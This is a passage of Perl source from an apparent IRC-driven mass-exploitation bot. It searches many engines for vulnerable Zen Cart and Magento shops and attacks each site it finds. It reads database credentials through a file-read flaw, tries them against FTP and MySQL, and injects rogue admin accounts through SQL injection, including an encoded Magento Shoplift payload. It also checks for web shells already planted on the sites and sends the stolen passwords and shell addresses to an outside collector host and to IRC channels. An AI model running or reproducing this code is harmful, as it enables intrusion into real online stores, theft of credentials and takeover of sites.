if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAU",$type); } exit; } }
if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type); } exit; } }
if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type); } exit; } }
if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YaHoo",$type); } exit; } }
if ($engine =~ /yahooCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCA",$type); } exit; } }
if ($engine =~ /yahooUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoUK",$type); } exit; } }
if ($engine =~ /yahooDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoDE",$type); } exit; } }
if ($engine =~ /yahooFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoFR",$type); } exit; } }
if ($engine =~ /yahooES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoES",$type); } exit; } }
if ($engine =~ /yahooIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoIT",$type); } exit; } }
if ($engine =~ /yahooHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoHK",$type); } exit; } }
if ($engine =~ /yahooID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoID",$type); } exit; } }
if ($engine =~ /yahooIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoIN",$type); } exit; } }
if ($engine =~ /yahooAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoAU",$type); } exit; } }
if ($engine =~ /yahooMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoMX",$type); } exit; } }
if ($engine =~ /yahooTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoTW",$type); } exit; } }
if ($engine =~ /yahooBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoBR",$type); } exit; } }
if ($engine =~ /yahooAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoAR",$type); } exit; } }
if ($engine =~ /yahooNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoNL",$type); } exit; } }
if ($engine =~ /yahooDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoDK",$type); } exit; } }
if ($engine =~ /yahooPH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoPH",$type); } exit; } }
if ($engine =~ /yahooCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCL",$type); } exit; } }
if ($engine =~ /yahooRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoRU",$type); } exit; } }
if ($engine =~ /yahooCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCH",$type); } exit; } }
if ($engine =~ /yahooCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoCO",$type); } exit; } }
if ($engine =~ /yahooFI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoFI",$type); } exit; } }
if ($engine =~ /yahooRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoRO",$type); } exit; } }
if ($engine =~ /yahooVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoVE",$type); } exit; } }
if ($engine =~ /yahooAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoAT",$type); } exit; } }
if ($engine =~ /yahooPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoPL",$type); } exit; } }
if ($engine =~ /yahooKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoKR",$type); } exit; } }
if ($engine =~ /yahooNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoNZ",$type); } exit; } }
if ($engine =~ /yahooGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoGR",$type); } exit; } }
if ($engine =~ /yahooPE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOoPE",$type); } exit; } }
if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type); } exit; } }
if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKCA",$type); } exit; } }
if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDE",$type); } exit; } }
if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKIT",$type); } exit; } }
if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKFR",$type); } exit; } }
if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKES",$type); } exit; } }
if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKRU",$type); } exit; } }
if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNL",$type); } exit; } }
if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKUK",$type); } exit; } }
if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKBR",$type); } exit; } }
if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKPL",$type); } exit; } }
if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAU",$type); } exit; } }
if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAT",$type); } exit; } }
if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKJP",$type); } exit; } }
if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKSE",$type); } exit; } }
if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKMX",$type); } exit; } }
if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNO",$type); } exit; } }
if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDK",$type); } exit; } }
if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type); } exit; } }
if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OnEt",$type); } exit; } }
if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type); } exit; } }
if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type); } exit; } }
if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type); } exit; } }
if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type); } exit; } }
if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type); } exit; } }
if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type); } exit; } }
}
###### EXPLOITING #######
##########################
sub zen_lfd() {
my $chan = $_[0];
my $bug = $_[1];
my $simpan = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
my $num = scalar(@list);
if ($num > 0){
foreach my $site(@list){
$count++;
if ($count == $num-1) { &msg("$chan","$zenlogo 4$engine 0 Selesai"); }
my $test2 = "http://".$site.$zenshell_test;
my $vuln2 = "http://".$site."/images/jrk.php";
my $zctest = "http://".$site.$bug;
my $re2 = &get_content($test2);
my $zhtml = &get_content($zctest);
if ($zchtml =~ /zc_install/){
&zen_query($chan,$site,$zctest,$engine);}
if ($re2 =~ /GIF89/){
&get_content("".$botsaver."?x=-SHELL- ".$vuln2."");
&msg("$chanxxx", "$zenlogo(4@8$engine15)(4@13VulN15)13 ".$vuln2."15");}
my $test = "http://".$site."extras/curltest.php";
my $vuln = "http://".$site."extras/ipn_test_return.php";
my $html = &get_content($test);
if ($html =~ /Zen Cart/){
my $target = &get_content($vuln);
if ($target =~ /failed to open stream/){
my $dir ="";
if ($target =~ m/in (.*?)\/extras\/ipn_test_return.php<\/b>/) {$dir = $1;}
&msg("$chan","$zenlogo(http://".$site." [+]Direktori: $dir");
my $data = "http://".$site."/extras/curltest.php?url=file:///".$dir."/includes/configure.php";
my $sql = &get_content($data);
if ($sql =~/DB_SERVER/i )
{
if ($sql =~ m/'DB_SERVER', '(.*)'/g) {$dbserver=$1;}
if ($sql =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {$dbuser=$1;}
if ($sql =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {$dbpassword=$1;}
if ($sql =~ m/'DB_DATABASE', '(.*)'/g) {$dbname=$1;}
&get_content("".$botsaver."?x=-DATABASE- http://".$site." - Dir:".$dir." - Hostname:".$dbserver." - Username:".$dbuser." - Password:".$dbpassword." - DBName:".$dbname."");
&msg("$chan","2$zenlogo2 11[+]Database[+]11 6http://".$site."6 11[+]dir:11 6".$dir."6 11[+]hostname:11 6".$dbserver."6 11[+]username:11 6".$dbuser."6 11[+]password:11 6".$dbpassword."6 11[+]dbname:11 6".$dbname."6 ");
&msg("$chanxxx","2$zenlogo2 11[+]Database[+]11 6http://".$site."6 11[+]dir:11 6".$dir."6 11[+]hostname:11 6".$dbserver."6 11[+]username:11 6".$dbuser."6 11[+]password:11 6".$dbpassword."6 11[+]dbname:11 6".$dbname."6");
}
my $check = &get_content("http://".$site."phpmyadmin");
if ($check =~ /phpMyAdmin/) {
&get_content("".$botsaver."?x=-PHPMYADMIN- http://".$site."phpmyadmin");
&msg("$chan","2$zenlogo2(13 Phpmyadmin 13 12http://".$site."phpmyadmin 12");}
if ($dbuser =~ /_/) {@users = split("_", $dbuser); $usr = $users[0];}
my $ceklog = "".$ftpxpl."?host=".$site."&user=".$usr."&pass=".$pass."";
my $ceklog2 = "".$ftpxpl."?host=".$site."&user=".$dbuser."&pass=".$dbpassword."";
my $ftplog = &get_content($ceklog);
my $ftplog2 = &get_content($ceklog2);
if ($ftplog =~ /FTP success!/) {
&get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$usr." - Password:".$dbpassword."");
&msg("$chanxxx","2$zenlogo2[+]FTP[+]5 ftp://".$site." [+]username:".$usr." [+]password:".$dbpassword."5");
}
if ($ftplog2 =~ /FTP success!/) {
&get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$dbuser." - Password:".$dbpassword."");
&msg("$chanxxx","$zenlogo13[+]FTP[+] 5ftp://".$site." [+]username:".$dbuser." [+]password:".$dbpassword."5");
}
my $port = "3306";
my $platform = "mysql";
my $dsn = "dbi:$platform:$dbname:$site:$port";
my $DBIconnect= DBI->connect($dsn,$dbuser,$dbpassword);
if ($DBIconnect) {
&get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$dbserver." - Username:".$dbuser." - Password:".$dbpassword." - DBName:".$dbname."");
&msg("$chan","2$zenlogo2[+]MYSQL[+] 13[ 9http://".$site." [+]hostname:".$dbserver." [+]username:".$dbuser." [+]password:".$dbpassword." [+]dbname:".$dbname." 13] [4 Connected 4 13]");
&msg("$chanxxx","2$zenlogo2[+]MYSQL[+] 13[ 9http://".$site." [+]hostname:".$dbserver." [+]username:".$dbuser." [+]password:".$dbpassword." [+]dbname:".$dbname." 13] [4 Connected 4 13]");
}
my $dsn2 = "dbi:$platform:$dbname:$dbserver:$port";
my $DBIconnect2= DBI->connect($dsn2,$dbuser,$dbpassword);
if ($DBIconnect2) {
&get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$dbserver." - Username:".$dbuser." - Password:".$dbpassword." - DBName:".$dbname."");
&msg("$chan","2$zenlogo2[+]MYSQL[+] 13[ 9http://".$site." [+]hostname:".$dbserver." [+]username:".$dbuser." [+]password:".$dbpassword." [+]dbname:".$dbname." 13] [4 Connected 4 13]");
&msg("$chanxxx","2$zenlogo2[+]MYSQL[+] 13[ 9http://".$site." [+]hostname:".$dbserver." [+]username:".$dbuser." [+]password:".$dbpassword." [+]dbname:".$dbname." 13] [4 Connected 4 13]");
}
if ($userrev =~ /_/) {@users = split("_", $dbuser); $usr = $users[0];}
my $ceklog = "ftp://".$usr.":".$dbpassword."@".$site."";
my $ceklog2 = "ftp://".$dbuser.":".$dbpassword."@".$site."";
my $ftplog = &get_content($ceklog);
my $ftplog2 = &get_content($ceklog2);
if ($ftplog =~ /ftp/) {
&get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$usr." - Password:".$dbpassword." / cPanel: ".$site."".$usr."".$dbpassword."/cpanel ");
&msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$dbpassword." / [+]cpanel: ".$site."".$usr."".$dbpassword."/cpanel ");
}
if ($ftplog2 =~ /ftp/) {
&get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$dbuser." - Password:".$dbpassword." / cPanel: ".$site."".$usr."".$dbpassword."/cpanel ");
&msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$dbuser." [+]password:".$dbpassword." [+]cpanel: ".$site."".$dbuser."".$dbpassword."/cpanel ");
}
}
}
}
}
}
sub zen_query() {
my $chan = $_[0];
my $url = $_[1];
my $test = $_[2];
my $engine = $_[3];
my $code = "INSERT+INTO+admin+%28admin_id%2C+admin_name%2C+admin_email%2C+admin_pass%29+VALUES+%2856%2C%27adminsys%27%2C%27admin%40mazacrew.co.cc%27%2C%27617ec22fbb8f201c366e9848c0eb6925%3A87%27%29%3B";
my $req = HTTP::Request->new(POST => $test);
$req->content_type("application/x-www-form-urlencoded");
$req->content("query_string=".$code);
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(3);
my $res = $ua->request($req);
my $data = $res->as_string;
if ( $data =~ /1 statements processed/i ) {
&get_content("".$botsaver."?x=-VULN- http://".$url."admin/login.php");
&msg("$chan","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
&msg("$chanxxx","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
}
elsif ( $data =~ /Duplicate entry/i ) {
&get_content("".$botsaver."?x=-LOGIN- http://".$url."admin/login.php");
&msg("$chan","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php )");
&msg("$admin","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php ");
}
}
sub shoplift() {
my $chan = $_[0];
my $bug = $_[1];
my $dork = $_[2];
my $engine = $_[3];
my $count = 0;
my @list = &search_engine($chan,$bug,$dork,$engine,$magelogo);
my $num = scalar(@list);
if ($num > 0) {
foreach my $site (@list) {
$count++;
if ($count == $num-1) { &msg("$chan","$magelogo14(4$engine14)3 Finished..."); }
my $test = "".$shopliftxpl."?target=http://".$site."&type=shoplift";
my $htmlx = &get_content($test);
my $testsql = "http://".$site."admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdzeXN0ZW0zMicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ3N5c3RlbTMyJywgJzhjNjBlZDlhMjEwZDBlZTlkNDkzYjM4ZTE0MWFlZWUzJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g";
&get_content($testsql);
if ($htmlx =~ /is vulnerable/) {
my $htmlsql = &get_content($testsql);}
my $downloader = "http://".$site."/downloader/?return=http%3A%2F%2F".$site."%2Findex.php%2Fadmin%2F";
my $ngecek = &get_content($downloader);
if ($ngecek =~ /Magento Downloader/) {
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "system32";
$form{password} = "devil123";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(20);
$request = POST $downloader,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Upload package file/) {
&get_content("".$botsaver."?x=[ShopLift] http://".$site."index.php/admin - Login Success");
&msg("$chan","99[ShopLift] http://".$site."index.php/admin - 13Login Success");
&msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site."index.php/admin 9- 13Login Success");}
if ($res =~ /Warning: (.*)<\/h4/ ) {
if ($res =~ /Warning: (.*)<\/h4/ ) {$warn=$1;}
&get_content("".$botsaver."?x=[ShopLift] http://".$site." - ".$warn."");
&msg("$chan","99[ShopLift] http://".$site." -4 $warn");
&msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site." 9-4 $warn");}
if($res =~ /Invalid/) {
my $dirk = "admin";
&chkbegal($site,$dirk,$chan,$engine);}}}
my $test1x = "http://".$site."skin/error.php";
my $test2x = "http://".$site."skin/upil.php";
my $test3x = "http://".$site."skin/skinmain.php";
my $test4x = "http://".$site."skin/rss.php";
my $test5x = "http://".$site."skin/skinwizard.php";
my $html1x = &get_content($test1x);
if ($html1x =~ /post>Password:/) {
&get_content("".$botsaver."?x=-SHELL- ".$test1x."");
&msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test1x."");}
my $html2x = &get_content($test2x);#sleep(1);
if ($html2x =~ /GIF89GHZ/) {
if ($html2x =~ /
(.*)
/){$osx=$1;}
&get_content("".$botsaver."?x=-SHELL- ".$test2x." (OS:".$osx.")");
&msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test2x." 9".$osx."");}
my $html3x = &get_content($test3x);
if ($html3x =~ /post>Password:/) {
&get_content("".$botsaver."?x=-SHELL- ".$test3x."");
&msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test3x."");}
my $html4x = &get_content($test4x);#sleep(1);
if ($html4x =~ /GIF89a/) {
&get_content("".$botsaver."?x=-SHELL- ".$test4x."");
&msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test4x."");}
my $html5x = &get_content($test5x);
if ($html5x =~ /post>Password:/) {
&get_content("".$botsaver."?x=-SHELL- ".$test5x."");
&msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test5x."");}
}
}
}
sub magadmin() {
my $chan = $_[0];
my $bug = $_[1];
my $dork = $_[2];
my $engine = $_[3];
my $count = 0;
my @list = &search_engine($chan,$bug,$dork,$engine,$magelogo);
my $num = scalar(@list);
if ($num > 0) {
foreach my $site (@list) {
$count++;
if ($count == $num-1) { &msg("$chan","$magelogo14(4$engine14)3 Finished..."); }
my $test = "".$shopliftxpl."?target=http://".$site."&type=shoplift";
my $test1 = "http://".$site."app/etc/local.xml";
my $test2 = "http://".$site."api/xmlrpc";
my $injek = "http://".$site."index.php/admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdzeXN0ZW0zMicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ3N5c3RlbTMyJywgJzhjNjBlZDlhMjEwZDBlZTlkNDkzYjM4ZTE0MWFlZWUzJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g";
my $dirk = "chanxxx";
&get_content($test);
&get_content($inject);
&chkdownload($site,$dirk,$chan,$engine);
my $html1 = &get_content($test1);
if ($html1 =~ /<\/username>/ ) {
if ($html1 =~ /<\/frontName>/){$dirs=$1;}
if ($html1 =~ /<\/table_prefix>/){$prefixs=$1;}
my $injek1 = "http://".$site."index.php/".$dirs."/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdzeXN0ZW0zMicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ3N5c3RlbTMyJywgJzhjNjBlZDlhMjEwZDBlZTlkNDkzYjM4ZTE0MWFlZWUzJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g";
&msg("$chan","(4@3VULN)14 ".$test1."");
&msg("$chan","(4@3VULN)15 http://".$site." 14[+]prefix:4 ".$prefixs."");
&msg("$chan","(4@3VULN)15 http://".$site." 14[+]panel:4 ".$dirs."");
my $execute1 = &get_content($injek1);
&chkdownload($site,$dirs,$chan,$engine); }
my $html2 = &get_content($test2);
if ($html2 =~ /faultString/i ) {
my $exl = &xxe_query($test2);
if ($exl =~ m/PD94(.*)/){
my $data = $1;
my $hash = decode_base64($data);
if ($hash =~ /<\/frontName>/){$dir=$1;}
if ($hash =~ /<\/table_prefix>/){$prefix=$1;}
my $injek2 = "http://".$site."index.php/".$dir."/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdzeXN0ZW0zMicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ3N5c3RlbTMyJywgJzhjNjBlZDlhMjEwZDBlZTlkNDkzYjM4ZTE0MWFlZWUzJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g";
my $execute2 = &get_content($injek2);
&chkdownload($site,$dir,$chan,$engine);}}
my $test1x = "http://".$site."skin/error.php";
my $test2x = "http://".$site."skin/upil.php";
my $test3x = "http://".$site."skin/skinmain.php";
my $test4x = "http://".$site."skin/rss.php";
my $test5x = "http://".$site."skin/skinwizard.php";
my $html1x = &get_content($test1x);
if ($html1x =~ /post>Password:/) {
